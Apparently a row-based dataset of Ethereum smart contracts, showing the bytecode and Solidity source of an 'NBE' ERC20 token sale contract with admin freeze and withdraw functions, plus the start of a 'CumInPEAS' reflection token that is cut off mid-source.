73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611a2c576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ac0565b611a3f838261190290919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000806000841415611bc15760009150611be0565b8284029050828482811515611bd257fe5b04141515611bdc57fe5b8091505b5092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611c2457600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611c7157600080fd5b611cc2826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461190290919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d55826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116fe90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000611e9782600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116fe90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a360019050929150505600a165627a7a7230582085284512f75f44318ff5fbe5397ebcea2191e658000a9bd23b7c39622d09358a0029
|
{"success": true, "error": null, "results": {}}
| 9,224 |
0x7D648Eb91deEc2E88f6437789793221C1b6557d5
|
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender) public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(address indexed owner,address indexed spender,uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// ERC20 standard token
contract NBE is StandardToken {
address public admin;
string public name = "NBE";
string public symbol = "NBE";
uint8 public decimals = 18;
uint256 public INITIAL_SUPPLY = 10000000000000000000000000000;
mapping (address => uint256) public frozenTimestamp;
bool public exchangeFlag = true;
uint256 public minWei = 1; // 1 wei 1eth = 1*10^18 wei
uint256 public maxWei = 20000000000000000000000; // 20000 eth
uint256 public maxRaiseAmount = 500000000000000000000000; // 500000 eth
uint256 public raisedAmount = 0; // 0 eth
uint256 public raiseRatio = 10000; // 1eth = 10000
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
admin = msg.sender;
balances[msg.sender] = INITIAL_SUPPLY;
}
function()
public payable {
require(msg.value > 0);
if (exchangeFlag) {
if (msg.value >= minWei && msg.value <= maxWei){
if (raisedAmount < maxRaiseAmount) {
uint256 valueNeed = msg.value;
raisedAmount = raisedAmount.add(msg.value);
if (raisedAmount > maxRaiseAmount) {
uint256 valueLeft = raisedAmount.sub(maxRaiseAmount);
valueNeed = msg.value.sub(valueLeft);
msg.sender.transfer(valueLeft);
raisedAmount = maxRaiseAmount;
}
if (raisedAmount >= maxRaiseAmount) {
exchangeFlag = false;
}
uint256 _value = valueNeed.mul(raiseRatio);
require(_value <= balances[admin]);
balances[admin] = balances[admin].sub(_value);
balances[msg.sender] = balances[msg.sender].add(_value);
emit Transfer(admin, msg.sender, _value);
}
} else {
msg.sender.transfer(msg.value);
}
} else {
msg.sender.transfer(msg.value);
}
}
/**
* admin
*/
function changeAdmin(
address _newAdmin
)
public
returns (bool) {
require(msg.sender == admin);
require(_newAdmin != address(0));
balances[_newAdmin] = balances[_newAdmin].add(balances[admin]);
balances[admin] = 0;
admin = _newAdmin;
return true;
}
// withdraw admin
function withdraw (
uint256 _amount
)
public
returns (bool) {
require(msg.sender == admin);
msg.sender.transfer(_amount);
return true;
}
/**
*
*/
function freezeWithTimestamp(
address _target,
uint256 _timestamp
)
public
returns (bool) {
require(msg.sender == admin);
require(_target != address(0));
frozenTimestamp[_target] = _timestamp;
return true;
}
/**
*
*/
function transfer(
address _to,
uint256 _value
)
public
returns (bool) {
// require(!frozenAccount[msg.sender]);
require(now > frozenTimestamp[msg.sender]);
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
//********************************************************************************
//
function getFrozenTimestamp(
address _target
)
public view
returns (uint256) {
require(_target != address(0));
return frozenTimestamp[_target];
}
//
function getBalance()
public view
returns (uint256) {
return address(this).balance;
}
// change flag
function setExchangeFlag (
bool _flag
)
public
returns (bool) {
require(msg.sender == admin);
exchangeFlag = _flag;
return true;
}
// change ratio
function setRaiseRatio (
uint256 _value
)
public
returns (bool) {
require(msg.sender == admin);
raiseRatio = _value;
return true;
}
}
|
0x60806040526004361061015f576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063068b73101461059557806306fdde03146105c0578063095ea7b31461065057806312065fe0146106b557806318160ddd146106e057806323b872dd1461070b5780632e1a7d4d146107905780632ff2e9dc146107d5578063313ce567146108005780635b22bbd214610831578063661884631461085c57806370a08231146108c157806376db7fd4146109185780638f2839701461095f57806395d89b41146109ba5780639a70855e14610a4a578063a899e61514610a79578063a9059cbb14610aa4578063addd702014610b09578063c59ee1dc14610b34578063c8d90df814610b5f578063d70907b014610bb6578063d73dd62314610c1b578063dd62ed3e14610c80578063e4b50ee814610cf7578063e6ad5bc714610d3c578063f851a44014610d93575b6000806000803411151561017257600080fd5b600960009054906101000a900460ff161561054857600a54341015801561019b5750600b543411155b156104fb57600c54600d5410156104f6573492506101c434600d54610dea90919063ffffffff16565b600d81905550600c54600d541115610255576101ed600c54600d54610e0690919063ffffffff16565b91506102028234610e0690919063ffffffff16565b92503373ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f1935050505015801561024a573d6000803e3d6000fd5b50600c54600d819055505b600c54600d5410151561027e576000600960006101000a81548160ff0219169083151502179055505b610293600e5484610e1f90919063ffffffff16565b9050600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115151561030457600080fd5b61037781600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e0690919063ffffffff16565b600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061042c816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610dea90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35b610543565b3373ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050158015610541573d6000803e3d6000fd5b505b610590565b3373ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f1935050505015801561058e573d6000803e3d6000fd5b505b505050005b3480156105a157600080fd5b506105aa610e57565b6040518082815260200191505060405180910390f35b3480156105cc57600080fd5b506105d5610e5d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106155780820151818401526020810190506105fa565b50505050905090810190601f1680156106425780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561065c57600080fd5b5061069b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610efb565b604051808215151515815260200191505060405180910390f35b3480156106c157600080fd5b506106ca610fed565b6040518082815260200191505060405180910390f35b3480156106ec57600080fd5b506106f561100c565b6040518082815260200191505060405180910390f35b34801561071757600080fd5b50610776600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611016565b604051808215151515815260200191505060405180910390f35b34801561079c57600080fd5b506107bb600480360381019080803590602001909291905050506113d1565b604051808215151515815260200191505060405180910390f35b3480156107e157600080fd5b506107ea61147f565b6040518082815260200191505060405180910390f35b34801561080c57600080fd5b50610815611485565b604051808260ff1660ff16815260200191505060405180910390f35b34801561083d57600080fd5b50610846611498565b6040518082815260200191505060405180910390f35b34801561086857600080fd5b506108a7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061149e565b604051808215151515815260200191505060405180910390f35b3480156108cd57600080fd5b50610902600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611730565b6040518082815260200191505060405180910390f35b34801561092457600080fd5b50610945600480360381019080803515159060200190929190505050611778565b604051808215151515815260200191505060405180910390f35b34801561096b57600080fd5b506109a0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117f9565b604051808215151515815260200191505060405180910390f35b3480156109c657600080fd5b506109cf611a36565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610a0f5780820151818401526020810190506109f4565b50505050905090810190601f168015610a3c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610a5657600080fd5b50610a5f611ad4565b604051808215151515815260200191505060405180910390f35b348015610a8557600080fd5b50610a8e611ae7565b6040518082815260200191505060405180910390f35b348015610ab057600080fd5b50610aef600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611aed565b604051808215151515815260200191505060405180910390f35b348015610b1557600080fd5b50610b1e611d5a565b6040518082815260200191505060405180910390f35b348015610b4057600080fd5b50610b49611d60565b6040518082815260200191505060405180910390f35b348015610b6b57600080fd5b50610ba0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d66565b6040518082815260200191505060405180910390f35b348015610bc257600080fd5b50610c01600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611d7e565b604051808215151515815260200191505060405180910390f35b348015610c2757600080fd5b50610c66600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611e66565b604051808215151515815260200191505060405180910390f35b348015610c8c57600080fd5b50610ce1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612062565b6040518082815260200191505060405180910390f35b348015610d0357600080fd5b50610d22600480360381019080803590602001909291905050506120e9565b604051808215151515815260200191505060405180910390f35b348015610d4857600080fd5b50610d7d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612157565b6040518082815260200191505060405180910390f35b348015610d9f57600080fd5b50610da86121db565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60008183019050828110151515610dfd57fe5b80905092915050565b6000828211151515610e1457fe5b818303905092915050565b600080831415610e325760009050610e51565b8183029050818382811515610e4357fe5b04141515610e4d57fe5b8090505b92915050565b600b5481565b60048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ef35780601f10610ec857610100808354040283529160200191610ef3565b820191906000526020600020905b815481529060010190602001808311610ed657829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60003073ffffffffffffffffffffffffffffffffffffffff1631905090565b6000600154905090565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561106557600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156110f057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561112c57600080fd5b61117d826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e0690919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611210826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610dea90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112e182600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e0690919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561142f57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015611475573d6000803e3d6000fd5b5060019050919050565b60075481565b600660009054906101000a900460ff1681565b600c5481565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831015156115b0576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611644565b6115c38382610e0690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156117d657600080fd5b81600960006101000a81548160ff02191690831515021790555060019050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561185757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561189357600080fd5b611944600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610dea90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000806000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611acc5780601f10611aa157610100808354040283529160200191611acc565b820191906000526020600020905b815481529060010190602001808311611aaf57829003601f168201915b505050505081565b600960009054906101000a900460ff1681565b600e5481565b6000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442111515611b3c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611b7857600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611bc557600080fd5b611c16826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e0690919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ca9826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610dea90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600a5481565b600d5481565b60086020528060005260406000206000915090505481565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ddc57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611e1857600080fd5b81600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b6000611ef782600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610dea90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561214757600080fd5b81600e8190555060019050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561219457600080fd5b600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16815600a165627a7a72305820072d1a984d18d07eaa525fd7d06d1de9b33d5cc10956655c928f34232b98899a0029
|
{"success": true, "error": null, "results": {}}
| 9,225 |
0xc6a6ead6554ee59d4c3012fa0226e64dabf018e9
|
/*
-------------------------------------
CumInPeas
Telegram: https://t.me/cuminpeas
-------------------------------------
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract CUMINPEAS is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "CumInPEAS";
string private constant _symbol = "CIP";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
